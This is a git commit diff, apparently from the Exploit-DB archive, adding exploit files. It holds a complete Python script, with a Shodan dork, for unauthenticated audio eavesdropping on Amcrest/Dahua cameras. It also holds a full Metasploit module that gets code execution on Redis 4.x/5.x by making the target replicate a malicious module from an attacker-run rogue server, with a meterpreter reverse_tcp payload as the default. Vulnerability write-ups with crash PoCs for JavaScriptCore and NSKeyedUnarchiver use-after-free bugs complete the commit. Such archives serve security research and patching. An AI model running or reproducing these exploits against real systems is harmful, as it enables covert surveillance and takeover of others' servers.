DB: 2019-07-31
8 changes to exploits/shellcodes macOS / iOS NSKeyedUnarchiver - Use-After-Free of ObjC Objects when Unarchiving OITSUIntDictionary Instances macOS / iOS JavaScriptCore - Loop-Invariant Code Motion (LICM) Leaves Object Property Access Unguarded macOS / iOS JavaScriptCore - JSValue Use-After-Free in ValueProfiles iMessage - NSArray Deserialization can Invoke Subclass that does not Retain References iMessage - Memory Corruption when Decoding NSKnownKeysDictionary1 iMessage - NSKeyedUnarchiver Deserialization Allows file Backed NSData Objects WP Database Backup < 5.2 - Remote Code Execution (Metasploit) WordPress Plugin Database Backup < 5.2 - Remote Code Execution (Metasploit) Redis 4.x / 5.x - Unauthenticated Code Execution (Metasploit) Amcrest Cameras 2.520.AC00.18.R - Unauthenticated Audio Streaming
This commit is contained in:
parent
852694f982
commit
00f5094d48
9 changed files with 684 additions and 1 deletions
127
exploits/hardware/webapps/47188.py
Executable file
127
exploits/hardware/webapps/47188.py
Executable file
|
@ -0,0 +1,127 @@
|
|||
##
|
||||
# Exploit Title: Unauthenticated Audio Streaming from Amcrest Camera
|
||||
# Shodan Dork: html:"@WebVersion@"
|
||||
# Date: 08/29/2019
|
||||
# Exploit Author: Jacob Baines
|
||||
# Vendor Homepage: https://amcrest.com/
|
||||
# Software Link: https://amcrest.com/firmwaredownloads
|
||||
# Affected Version: V2.520.AC00.18.R
|
||||
# Fixed Version: V2.420.AC00.18.R
|
||||
# Tested on: Tested on Amcrest IP2M-841 but known to affect other Dahua devices.
|
||||
# CVE : CVE-2019-3948
|
||||
# Disclosure: https://www.tenable.com/security/research/tra-2019-36
|
||||
# Disclosure: https://sup-files.s3.us-east-2.amazonaws.com/Firmware/IP2M-841/JS+IP2M-841/Changelog/841_721_HX1_changelog_20190729.txt
|
||||
#
|
||||
# To decode the scripts output using ffplay use:
|
||||
# ffplay -f alaw -ar 8k -ac 1 [poc output]
|
||||
# Note that this assumes the camera is using the default encoding options.
|
||||
##
|
||||
import argparse
|
||||
import socket
|
||||
import struct
|
||||
import sys
|
||||
|
||||
##
|
||||
# Read in the specified amount of data. Continuing looping until we get it all...
|
||||
# what could go wrong?
|
||||
#
|
||||
# @return the data we read in
|
||||
##
|
||||
def recv_all(sock, amount):
|
||||
data = ''
|
||||
while len(data) != amount:
|
||||
temp_data = sock.recv(amount - len(data))
|
||||
data = data + temp_data
|
||||
|
||||
return data
|
||||
|
||||
top_parser = argparse.ArgumentParser(description='Download audio from the HTTP videotalk endpoint')
|
||||
top_parser.add_argument('-i', '--ip', action="store", dest="ip", required=True, help="The IPv4 address to connect to")
|
||||
top_parser.add_argument('-p', '--port', action="store", dest="port", type=int, help="The port to connect to", default="80")
|
||||
top_parser.add_argument('-o', '--output', action="store", dest="output", help="The file to write the audio to")
|
||||
top_parser.add_argument('-b', '--bytes', action="store", dest="bytes", type=int, help="The amount of audio to download", default="1048576")
|
||||
args = top_parser.parse_args()
|
||||
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.setblocking(True)
|
||||
|
||||
print "[+] Attempting connection to " + args.ip + ":" + str(args.port)
|
||||
sock.connect((args.ip, args.port))
|
||||
print "[+] Connected!"
|
||||
|
||||
request = ('GET /videotalk HTTP/1.1\r\n' +
|
||||
'Host: ' + args.ip + ':' + str(args.port) + '\r\n' +
|
||||
'Range: bytes=0-\r\n' +
|
||||
'\r\n')
|
||||
sock.sendall(request)
|
||||
|
||||
status = ''
|
||||
header = ''
|
||||
|
||||
# read in the HTTP response. Store the status.
|
||||
while (header != '\r\n'):
|
||||
header = header + sock.recv(1);
|
||||
if (header.find('\r\n') > 0):
|
||||
header = header.strip()
|
||||
if (len(status) == 0):
|
||||
status = header
|
||||
header = ''
|
||||
|
||||
if (status.find('200 OK') == -1):
|
||||
print '[-] Bad HTTP status. We received: "' + status + '"'
|
||||
sock.close()
|
||||
exit()
|
||||
else:
|
||||
print '[+] Downloading ' + str(args.bytes) + ' bytes of audio ...'
|
||||
|
||||
total_audio = ''
|
||||
while (len(total_audio) < args.bytes):
|
||||
|
||||
# read in the header length
|
||||
header_length = recv_all(sock, 4)
|
||||
hlength = struct.unpack("I", header_length)[0]
|
||||
if (hlength != 36):
|
||||
print '[-] Unexpected header length'
|
||||
sock.close()
|
||||
exit()
|
||||
|
||||
# read in the header and extract the payload length
|
||||
header = recv_all(sock, hlength)
|
||||
plength = struct.unpack_from(">H", header)[0]
|
||||
if (plength != 368):
|
||||
print '[-] Unexpected payload length'
|
||||
sock.close()
|
||||
exit()
|
||||
|
||||
# there is a seq no in the header but since this is over
|
||||
# tcp is sort of useless.
|
||||
|
||||
dhav = header[2:6]
|
||||
if (dhav != "DHAV"):
|
||||
print '[-] Invalid header'
|
||||
exit(0)
|
||||
|
||||
# extract the audio. I'm really not sure what the first 6 bytes are
|
||||
# but the last 8 serve as a type of trailer
|
||||
whatami = recv_all(sock, 6)
|
||||
audio = recv_all(sock, plength - hlength - 12)
|
||||
trailer = recv_all(sock, 8)
|
||||
|
||||
if (trailer != 'dhavp\x01\x00\x00'):
|
||||
print '[-] Invalid end of frame'
|
||||
sock.close()
|
||||
exit()
|
||||
|
||||
total_audio = total_audio + audio
|
||||
sys.stdout.write('\r'+ str(len(total_audio)) + " / " + str(args.bytes))
|
||||
sys.stdout.flush()
|
||||
|
||||
print ''
|
||||
print '[+] Finished receiving audio.'
|
||||
print '[+] Closing socket'
|
||||
|
||||
out_file = open(args.output, 'wb')
|
||||
out_file.write(total_audio)
|
||||
out_file.close()
|
||||
|
||||
sock.close()
|
271
exploits/linux/remote/47195.rb
Executable file
271
exploits/linux/remote/47195.rb
Executable file
|
@ -0,0 +1,271 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::TcpServer
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Auxiliary::Redis
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Redis Unauthenticated Code Execution',
|
||||
'Description' => %q{
|
||||
This module can be used to leverage the extension functionality added by Redis 4.x and 5.x
|
||||
to execute arbitrary code. To transmit the given extension it makes use of the feature of Redis
|
||||
which called replication between master and slave.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf'],
|
||||
[ 'URL', 'https://github.com/RedisLabs/RedisModulesSDK']
|
||||
],
|
||||
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Targets' =>
|
||||
[
|
||||
['Automatic', {} ],
|
||||
],
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
|
||||
'SRVPORT' => '6379'
|
||||
},
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Nov 13 2018',
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' =>
|
||||
{
|
||||
'Stability' => [ SERVICE_RESOURCE_LOSS],
|
||||
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ]
|
||||
},
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(6379),
|
||||
OptBool.new('CUSTOM', [true, 'Whether compile payload file during exploiting', true])
|
||||
]
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('RedisModuleInit', [false, 'The command of module to load and unload. Random string as default.']),
|
||||
OptString.new('RedisModuleTrigger', [false, 'The command of module to trigger the given function. Random string as default.']),
|
||||
OptString.new('RedisModuleName', [false, 'The name of module to load at first. Random string as default.'])
|
||||
]
|
||||
)
|
||||
deregister_options('URIPATH', 'THREADS', 'SSLCert')
|
||||
end
|
||||
|
||||
#
|
||||
# Now tested on redis 4.x and 5.x
|
||||
#
|
||||
def check
|
||||
connect
|
||||
# they are only vulnerable if we can run the CONFIG command, so try that
|
||||
return Exploit::CheckCode::Safe unless (config_data = redis_command('CONFIG', 'GET', '*')) && config_data =~ /dbfilename/
|
||||
|
||||
if (info_data = redis_command('INFO')) && /redis_version:(?<redis_version>\S+)/ =~ info_data
|
||||
report_redis(redis_version)
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Vulnerable
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
|
||||
def exploit
|
||||
if check_custom
|
||||
@module_init_name = datastore['RedisModuleInit'] || Rex::Text.rand_text_alpha_lower(4..8)
|
||||
@module_cmd = datastore['RedisModuleTrigger'] || "#{@module_init_name}.#{Rex::Text.rand_text_alpha_lower(4..8)}"
|
||||
else
|
||||
@module_init_name = 'shell'
|
||||
@module_cmd = 'shell.exec'
|
||||
end
|
||||
|
||||
if srvhost == '0.0.0.0'
|
||||
fail_with(Failure::BadConfig, 'Make sure SRVHOST not be 0.0.0.0, or the slave failed to find master.')
|
||||
end
|
||||
|
||||
#
|
||||
# Prepare for payload.
|
||||
#
|
||||
# 1. Use custcomed payload, it would compile a brand new file during running, which is more undetectable.
|
||||
# It's only worked on linux system.
|
||||
#
|
||||
# 2. Use compiled payload, it's avaiable on all OS, however more detectable.
|
||||
#
|
||||
if check_custom
|
||||
buf = create_payload
|
||||
generate_code_file(buf)
|
||||
compile_payload
|
||||
end
|
||||
|
||||
connect
|
||||
|
||||
#
|
||||
# Send the payload.
|
||||
#
|
||||
redis_command('SLAVEOF', srvhost, srvport.to_s)
|
||||
redis_command('CONFIG', 'SET', 'dbfilename', "#{module_file}")
|
||||
::IO.select(nil, nil, nil, 2.0)
|
||||
|
||||
# start the rogue server
|
||||
start_rogue_server
|
||||
# waiting for victim to receive the payload.
|
||||
Rex.sleep(1)
|
||||
redis_command('MODULE', 'LOAD', "./#{module_file}")
|
||||
redis_command('SLAVEOF', 'NO', 'ONE')
|
||||
|
||||
# Trigger it.
|
||||
print_status('Sending command to trigger payload.')
|
||||
pull_the_trigger
|
||||
|
||||
# Clean up
|
||||
Rex.sleep(2)
|
||||
register_file_for_cleanup("./#{module_file}")
|
||||
#redis_command('CONFIG', 'SET', 'dbfilename', 'dump.rdb')
|
||||
#redis_command('MODULE', 'UNLOAD', "#{@module_init_name}")
|
||||
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
|
||||
#
|
||||
# We pretend to be a real redis server, and then slave the victim.
|
||||
#
|
||||
def start_rogue_server
|
||||
socket = Rex::Socket::TcpServer.create({'LocalHost'=>srvhost,'LocalPort'=>srvport})
|
||||
print_status("Listening on #{srvhost}:#{srvport}")
|
||||
rsock = socket.accept()
|
||||
vprint_status('Accepted a connection')
|
||||
|
||||
# Start negotiation
|
||||
while true
|
||||
request = rsock.read(1024)
|
||||
vprint_status("in<<< #{request.inspect}")
|
||||
response = ""
|
||||
finish = false
|
||||
|
||||
case
|
||||
when request.include?('PING')
|
||||
response = "+PONG\r\n"
|
||||
when request.include?('REPLCONF')
|
||||
response = "+OK\r\n"
|
||||
when request.include?('PSYNC') || request.include?('SYNC')
|
||||
response = "+FULLRESYNC #{'Z'*40} 1\r\n"
|
||||
response << "$#{payload_bin.length}\r\n"
|
||||
response << "#{payload_bin}\r\n"
|
||||
finish = true
|
||||
end
|
||||
|
||||
if response.length < 200
|
||||
vprint_status("out>>> #{response.inspect}")
|
||||
else
|
||||
vprint_status("out>>> #{response.inspect[0..100]}......#{response.inspect[-100..-1]}")
|
||||
end
|
||||
|
||||
rsock.put(response)
|
||||
|
||||
if finish
|
||||
print_status('Rogue server close...')
|
||||
rsock.close()
|
||||
socket.close()
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def pull_the_trigger
|
||||
if check_custom
|
||||
redis_command("#{@module_cmd}")
|
||||
else
|
||||
execute_cmdstager
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Parpare command stager for the pre-compiled payload.
|
||||
# And the command of module is hard-coded.
|
||||
#
|
||||
def execute_command(cmd, opts = {})
|
||||
redis_command('shell.exec',"#{cmd.to_s}") rescue nil
|
||||
end
|
||||
|
||||
#
|
||||
# Generate source code file of payload to be compiled dynamicly.
|
||||
#
|
||||
def generate_code_file(buf)
|
||||
template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.erb'))
|
||||
File.open(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.c'), 'wb') { |file| file.write(ERB.new(template).result(binding))}
|
||||
end
|
||||
|
||||
def compile_payload
|
||||
make_file = File.join(Msf::Config.data_directory, 'exploits', 'redis', 'Makefile')
|
||||
vprint_status("Clean old files")
|
||||
vprint_status(%x|make -C #{File.dirname(make_file)}/rmutil clean|)
|
||||
vprint_status(%x|make -C #{File.dirname(make_file)} clean|)
|
||||
|
||||
print_status('Compile redis module extension file')
|
||||
res = %x|make -C #{File.dirname(make_file)} -f #{make_file} && echo true|
|
||||
if res.include? 'true'
|
||||
print_good("Payload generated successfully! ")
|
||||
else
|
||||
print_error(res)
|
||||
fail_with(Failure::BadConfig, 'Check config of gcc compiler.')
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# check the environment for compile payload to so file.
|
||||
#
|
||||
def check_env
|
||||
# check if linux
|
||||
return false unless %x|uname -s 2>/dev/null|.include? "Linux"
|
||||
# check if gcc installed
|
||||
return false unless %x|command -v gcc && echo true|.include? "true"
|
||||
# check if ld installed
|
||||
return false unless %x|command -v ld && echo true|.include? "true"
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
def check_custom
|
||||
return @custom_payload if @custom_payload
|
||||
|
||||
@custom_payload = false
|
||||
@custom_payload = true if check_env && datastore['CUSTOM']
|
||||
|
||||
@custom_payload
|
||||
end
|
||||
|
||||
def module_file
|
||||
return @module_file if @module_file
|
||||
@module_file = datastore['RedisModuleName'] || "#{Rex::Text.rand_text_alpha_lower(4..8)}.so"
|
||||
end
|
||||
|
||||
def create_payload
|
||||
p = payload.encoded
|
||||
Msf::Simple::Buffer.transform(p, 'c', 'buf')
|
||||
end
|
||||
|
||||
def payload_bin
|
||||
return @payload_bin if @payload_bin
|
||||
if check_custom
|
||||
@payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.so'))
|
||||
else
|
||||
@payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'exp', 'exp.so'))
|
||||
end
|
||||
@payload_bin
|
||||
end
|
||||
end
|
22
exploits/multiple/dos/47189.txt
Normal file
22
exploits/multiple/dos/47189.txt
Normal file
|
@ -0,0 +1,22 @@
|
|||
When deserializing NSObjects with the NSArchiver API [1], one can supply a whitelist of classes that are allowed to be unarchived. In that case, any object in the archive whose class is not whitelisted will not be deserialized. Doing so will also cause the NSKeyedUnarchiver to "requireSecureCoding", ensuring that the archived classes conform to the NSSecureCoding protocol before deserializing them. With that, deserialization of untrusted archives is expected to now be possible in a secure manner. However, a child class of a class in the whitelist will also be deserialized by NSKeyedUnarchiver if one of the following is true (see -[NSCoder _validateAllowedClass:forKey:allowingInvocations:] in Foundation.framework for the exact logic):
|
||||
|
||||
* It implements initWithCoder: and supportsSecureCoding, and calling the supportsSecureCoding method returns true
|
||||
* It doesn't implement initWithCoder and the first superclass that implements initWithCoder: also implements supportsSecureCoding which returns true
|
||||
|
||||
In the latter case, deserializing such an object will invoke initWithCoder: of the superclass, which may then end up invoking methods of the child class. One such example is OITSUIntDictionary from the OfficeImport framework. This class inherits from NSDictionary, whose initWithCoder: will be called during unarchiving. Then the following happens:
|
||||
|
||||
* initWithCoder invokes initWithCapacity: with the number of key-value pairs in the archive. This ends up calling -[OITSUIntDictionary initWithCapacity:] which sets the backing storage for the dict to the result of `CFDictionaryCreateMutable(0LL, v3, 0LL, 0LL)`. Note that neither key- nor value callbacks are provided (arguments #3 and #4). As such, elements stored in the dictionary will not be retained. Presumably, this is because the dictionary is only supposed to store integers which are not reference counted
|
||||
* Next, initWithCoder invokes setObject:forKey for each key-value pair of the archive. This will now store the keys and values in the OITSUIntDictionary *without* retaining them, thus their refcount will still be 1 and they are only kept alive by the NSKeyedUnarchiver instance
|
||||
* Unarchiving finishes, the NSKeyedUnarchiver is destroyed and it releases all its references to the deserialized objects. These objects are then freed and the deserialized OITSUIntDictionary now contains stale pointers.
|
||||
|
||||
Accessing the elements of the deserialized dictionary then leads to use-after-free issues.
|
||||
|
||||
The OfficeImport library appears to be loaded by the QuickLook.framework on demand (in _getOfficeImportLibrary()), and QuickLook is loaded into the Springboard process. As such, there might be scenarios in which OfficeImport is loaded in Springboard, making this bug remotely triggerable via iMessage without any user interaction. In any case, any process that has the OfficeImport library loaded and deserializes untrusted NSDictionaries is vulnerable even if secureCoding is enforced during unarchiving.
|
||||
|
||||
These type of bugs can be found somewhat automatically: the attached IDAPython script, when run in IDA Pro with the iOS dyld_shared_cache loaded, will enumerate all system libraries and determine classes that inherit from one of the whitelisted classes. It then writes a list of all candidates (classes that are allowed to be deserialized by NSKeyedUnarchiver with the whitelists present in iMessage parsing) to disk. Afterwards, these classes can be unarchived by first archiving a valid parent class (e.g. NSDictionary) and replacing the name of the parent class with the name of the child class in the serialized archive, then deserializing the archive again and invoking a few common methods on the resulting object, e.g. "count" or "objectForKey:". With that, the program will potentially crash when deserializing buggy child classes (as is the case for PFArray and OITSUIntDictionary).
|
||||
The attached archiveDict.m program can generate a valid NSDictionary archive, which can then be converted to xml format for easier editing with `plutil -convert xml1 archive`. unarchiveDict.m can afterwards deserialize the archive again into an NSDictionary instance.
|
||||
This approach, however, requires that all libraries loaded in the target process are also loaded in unarchiveDict, or else some of the classes won't be found and can thus not be deserialized.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47189.zip
|
82
exploits/multiple/dos/47190.txt
Normal file
82
exploits/multiple/dos/47190.txt
Normal file
|
@ -0,0 +1,82 @@
|
|||
While fuzzing JavaScriptCore, I encountered the following (modified and commented) JavaScript program which crashes jsc from current HEAD and release (/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc):
|
||||
|
||||
function v2(trigger) {
|
||||
// Force JIT compilation.
|
||||
for (let v7 = 0; v7 < 1000000; v7++) { }
|
||||
|
||||
if (!trigger) {
|
||||
// Will synthesize .length, .callee, and Symbol.iterator.
|
||||
// See ScopedArguments::overrideThings [1]
|
||||
arguments.length = 1;
|
||||
}
|
||||
|
||||
for (let v11 = 0; v11 < 10; v11++) {
|
||||
// The for-of loop (really the inlined array iterator) will fetch the
|
||||
// .length property after a StructureCheck. However, the property fetch
|
||||
// will be hoisted in front of the outer loop by LICM but the
|
||||
// StructureCheck won't. Then, in the final invocation it will crash
|
||||
// because .length hasn't been synthezised yet (and thus the butterfly
|
||||
// is nullptr).
|
||||
for (const v14 of arguments) {
|
||||
const v18 = {a:1337};
|
||||
// The with statement here probably prevents escape analysis /
|
||||
// object allocation elimination from moving v18 into the stack,
|
||||
// thus forcing DFG to actually allocate v18. Then, LICM sees a
|
||||
// write to structure IDs (from the object allocation) and thus
|
||||
// cannot hoist the structure check (reading a structure ID) in
|
||||
// front of the loop.
|
||||
with (v18) { }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for (let v23 = 0; v23 < 100; v23++) {
|
||||
v2(false);
|
||||
}
|
||||
|
||||
print("Triggering crash");
|
||||
v2(true);
|
||||
|
||||
|
||||
Here is what appears to be happening:
|
||||
|
||||
When v2 is optimized by the FTL JIT, it will inline the ArrayIterator.next function for the for-of loop and thus produce the following DFG IR (of which many details were omitted for readability):
|
||||
|
||||
Block #8 (Before outer loop)
|
||||
...
|
||||
|
||||
Block #10 (bc#180): (Outer loop)
|
||||
104:<!0:-> CheckStructure(Check:Cell:@97, MustGen, [%Cp:Arguments], R:JSCell_structureID, Exits, bc#201, ExitValid)
|
||||
105:< 2:-> GetButterfly(Cell:@97, Storage|UseAsOther, Other, R:JSObject_butterfly, Exits, bc#201, ExitValid)
|
||||
|
||||
Block #12 (bc#464 --> next#<no-hash>:<0x10a8a08c0> bc#43 --> arrayIteratorValueNext#<no-hash>:<0x10a8a0a00> bc#29): (Inner loop header)
|
||||
378:< 4:-> GetByOffset(Check:Untyped:@105, KnownCell:@97, JS|PureInt|UseAsInt, BoolInt32, id2{length}, 100, R:NamedProperties(2), Exits, bc#34, ExitValid) predicting BoolInt32
|
||||
|
||||
Block #17 (bc#487): (Inner loop body)
|
||||
267:< 8:-> NewObject(JS|UseAsOther, Final, %B8:Object, R:HeapObjectCount, W:HeapObjectCount, Exits, bc#274, ExitValid)
|
||||
273:<!0:-> PutByOffset(KnownCell:@267, KnownCell:@267, Check:Untyped:@270, MustGen, id7{a}, 0, W:NamedProperties(7), ClobbersExit, bc#278, ExitValid)
|
||||
274:<!0:-> PutStructure(KnownCell:@267, MustGen, %B8:Object -> %EQ:Object, ID:45419, R:JSObject_butterfly, W:JSCell_indexingType,JSCell_structureID,JSCell_typeInfoFlags,JSCell_typeInfoType, ClobbersExit, bc#278, ExitInvalid)
|
||||
|
||||
Eventually, the loop-invariant code motion optimization runs [2], changing graph to the following:
|
||||
|
||||
Block #8 (Before outer loop)
|
||||
...
|
||||
105:< 2:-> GetButterfly(Cell:@97, Storage|UseAsOther, Other, R:JSObject_butterfly, Exits, bc#201, ExitValid)
|
||||
378:< 4:-> GetByOffset(Check:Untyped:@105, KnownCell:@97, JS|PureInt|UseAsInt, BoolInt32, id2{length}, 100, R:NamedProperties(2), Exits, bc#34, ExitValid) predicting BoolInt32
|
||||
|
||||
Block #10 (bc#180): (Outer loop)
|
||||
104:<!0:-> CheckStructure(Check:Cell:@97, MustGen, [%Cp:Arguments], R:JSCell_structureID, Exits, bc#201, ExitValid)
|
||||
|
||||
Block #12 (bc#464 --> next#<no-hash>:<0x10a8a08c0> bc#43 --> arrayIteratorValueNext#<no-hash>:<0x10a8a0a00> bc#29): (Inner loop header)
|
||||
|
||||
Block #17 (bc#487): (Inner loop body)
|
||||
267:< 8:-> NewObject(JS|UseAsOther, Final, %B8:Object, R:HeapObjectCount, W:HeapObjectCount, Exits, bc#274, ExitValid)
|
||||
273:<!0:-> PutByOffset(KnownCell:@267, KnownCell:@267, Check:Untyped:@270, MustGen, id7{a}, 0, W:NamedProperties(7), ClobbersExit, bc#278, ExitValid)
|
||||
274:<!0:-> PutStructure(KnownCell:@267, MustGen, %B8:Object -> %EQ:Object, ID:45419, R:JSObject_butterfly, W:JSCell_indexingType,JSCell_structureID,JSCell_typeInfoFlags,JSCell_typeInfoType, ClobbersExit, bc#278, ExitInvalid)
|
||||
|
||||
|
||||
Here, the GetButterfly and GetByOffset operations, responsible for loading the .length property, were moved in front of the StructureCheck which is supposed to ensure that .length can be loaded in this way. This is clearly unsafe and will lead to a crash in the final invocation of the function when .length is not "synthesized" and thus the butterfly is nullptr.
|
||||
|
||||
To understand why this happens it is necessary to look at the requirements for hoisting operations [3]. One of them is that "The node doesn't read anything that the loop writes.". In this case the CheckStructure operation reads the structure ID from the object ("R:JSCell_structureID" in the IR above) and the PutStructure writes a structure ID ("W:JSCell_indexingType,JSCell_structureID,JSCell_typeInfoFlags,JSCell_typeInfoType") as such the check cannot be hoisted because DFG cannot prove that the read value doesn't change in the loop body (note that here the compiler acts conservatively as it could, in this specific instance, determine that the structure ID being written to inside the loop is definitely not the one being read. It doesn't do so and instead only tracks abstract "heap locations" like the JSCell_structureID). However, as no operation in the loop bodies writes to either the JSObject_butterfly or the NamedProperties heap location (i.e. no Butterfly pointer or NamedProperty slot is ever written to inside the loop body), LICM incorrectly determined that the GetButterfly and GetByOffset operations could safely be hoisted in front of the loop body. See also https://bugs.chromium.org/p/project-zero/issues/detail?id=1775 and https://bugs.chromium.org/p/project-zero/issues/detail?id=1789 for more information about the LICM optimization.
|
||||
|
||||
I suspect that this issue is more general (not limited to just `argument` objects) and allows bypassing of various StructureChecks in the JIT, thus likely being exploitable in many ways. However, I haven't confirmed that.
|
98
exploits/multiple/dos/47191.txt
Normal file
98
exploits/multiple/dos/47191.txt
Normal file
|
@ -0,0 +1,98 @@
|
|||
While fuzzing JSC, I encountered the following JS program which crashes JSC from current HEAD and release (/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc):
|
||||
|
||||
// Run with --useConcurrentJIT=false --thresholdForJITAfterWarmUp=10
|
||||
|
||||
function fullGC() {
|
||||
for (var i = 0; i < 10; i++) {
|
||||
new Float64Array(0x1000000);
|
||||
}
|
||||
}
|
||||
|
||||
function v62() {
|
||||
function v141() {
|
||||
try {
|
||||
const v146 = v141();
|
||||
} catch(v147) {
|
||||
const v154 = Object();
|
||||
function v155(v156,v157,v158) {
|
||||
try {
|
||||
// This typed array gets collected
|
||||
// but is still referenced from the
|
||||
// value profile of TypedArray.values
|
||||
const v167 = new Uint32Array();
|
||||
const v171 = v167.values();
|
||||
} catch(v177) {
|
||||
}
|
||||
}
|
||||
const v181 = v155();
|
||||
}
|
||||
}
|
||||
|
||||
v141();
|
||||
|
||||
function edenGC() {
|
||||
for (let v194 = 0; v194 < 100; v194++) {
|
||||
const v204 = new Float64Array(0x10000);
|
||||
}
|
||||
}
|
||||
const v205 = edenGC();
|
||||
}
|
||||
|
||||
for (let i = 0; i < 6; i++) {
|
||||
const v209 = v62();
|
||||
}
|
||||
|
||||
fullGC();
|
||||
|
||||
If the loop that calls v62 is run 100 instead of 6 times it will also crash without --thresholdForJITAfterWarmUp=10, albeit a bit less reliable.
|
||||
|
||||
Running this sample will crash JSC in debug builds with an assertion like this:
|
||||
|
||||
ASSERTION FAILED: structureIndex < m_capacity
|
||||
Source/JavaScriptCore/runtime/StructureIDTable.h(175) : JSC::Structure *JSC::StructureIDTable::get(JSC::StructureID)
|
||||
1 0x101aadcf9 WTFCrash
|
||||
2 0x101aadd19 WTFCrashWithSecurityImplication
|
||||
3 0x10000cb18 JSC::StructureIDTable::get(unsigned int)
|
||||
4 0x10000ca23 JSC::VM::getStructure(unsigned int)
|
||||
5 0x10000c7cf JSC::JSCell::structure(JSC::VM&) const
|
||||
6 0x10001887b JSC::JSCell::structure() const
|
||||
7 0x10072fc05 JSC::speculationFromCell(JSC::JSCell*)
|
||||
8 0x10072fd9f JSC::speculationFromValue(JSC::JSValue)
|
||||
9 0x1006963dc JSC::ValueProfileBase<1u>::computeUpdatedPrediction(JSC::ConcurrentJSLocker const&)
|
||||
...
|
||||
|
||||
The crash is due to a JSValue pointing to a previously freed chunk which will have its JSCell header overwritten. As such, it then crashes when accessing the structure table out-of-bounds with the clobbered structure ID.
|
||||
|
||||
The JSValue that is being accessed is part of a ValueProfile: a data structure attached to bytecode operations which keeps track of input types that have been observed for its operation. During execution in the interpreter or baseline JIT, input types for operations will be stored in their associated ValueProfile as can e.g. be seen in the implementation of the low-level interpreter (LLInt) [1]. This is a fundamental mechanism of current JS engines allowing optimizing JIT compilers (like the DFG and FTL) to speculate about types of variables in the compiled program by inspecting previously observed types collected in these ValueProfiles.
|
||||
|
||||
A ValueProfile is implemented by the ValueProfileBase C++ struct:
|
||||
|
||||
struct ValueProfileBase {
|
||||
|
||||
...
|
||||
int m_bytecodeOffset; // -1 for prologue
|
||||
unsigned m_numberOfSamplesInPrediction { 0 };
|
||||
|
||||
SpeculatedType m_prediction { SpecNone };
|
||||
|
||||
EncodedJSValue m_buckets[totalNumberOfBuckets];
|
||||
};
|
||||
|
||||
Here, m_buckets will store the raw JSValues that have been observed during execution. m_prediction in turn will contain the current type prediction [2] for the associated value, which is what the JIT compilers ultimately rely on. The type prediction is regularly computed from the observed values in computeUpdatedPrediction [3].
|
||||
|
||||
This raises the question how the JSValues in m_buckets are kept alive during GC, as they are not stored in a MarkedArgumentBuffer [4] or similar (which automatically inform the GC of the objects and thus keep them alive). The answer is that they are in fact not kept alive during GC by the ValueProfiles themselves. Instead, computeUpdatedPrediction [3] is invoked from finalizeUnconditionally [5] at the end of the GC marking phase and will clear the m_buckets array before the pointers might become dangling. Basically, it works like this:
|
||||
|
||||
* Observed JSValues are simply stored into ValueProfiles at runtime by the interpreter or baseline JIT without informing the GC about these references
|
||||
* Eventually, GC kicks in and starts its marking phase in which it visits all reachable objects and marks them as alive
|
||||
* Afterwards, before sweeping, the GC invokes various callbacks (called "unconditionalFinalizers") [6] on certain objects (e.g. CodeBlocks)
|
||||
* The CodeBlock finalizers update all value profiles, which in turn causes their current speculated type to be merged with the runtime values that were observed since the last update
|
||||
* Afterwards, all entries in the m_buckets array of the ValueProfiles are cleared to zero [7]. As such, the ValueProfiles no longer store any pointers to JSObjects
|
||||
* Finally, the sweeping phase runs and frees all JSCells that have not been marked
|
||||
|
||||
|
||||
For some time now, JSC has used lightweight GC cycles called "eden" collections. These will keep mark bits from previous eden collections and thus only scan newly allocated objects, not the entire object graph. As such they are quicker than a "full" GC, but might potentially leave unused ("garbage") objects alive which will only be collected during the next full collection. See also [8] for an in depth explanation of JSC's current garbage collector.
|
||||
|
||||
As described above, the function finalizeMarkedUnconditionalFinalizers [6] is responsible for invoking some callback on objects that have been marked (and thus are alive) after the marking phase. However, during eden collections this function only iterates over JSCells that have been marked in the *current* eden collection, not any of the previous ones *. As such, it is possible that a CodeBlock has been marked in a previous eden collection (and is thus still alive), but hasn't been marked in the current one and will thus not be "unconditionally finalized". In that case, its ValueProfile will not be cleared and will still potentially contain pointers to various JSObjects, which, however, aren't protected from GC and thus might be freed by it.
|
||||
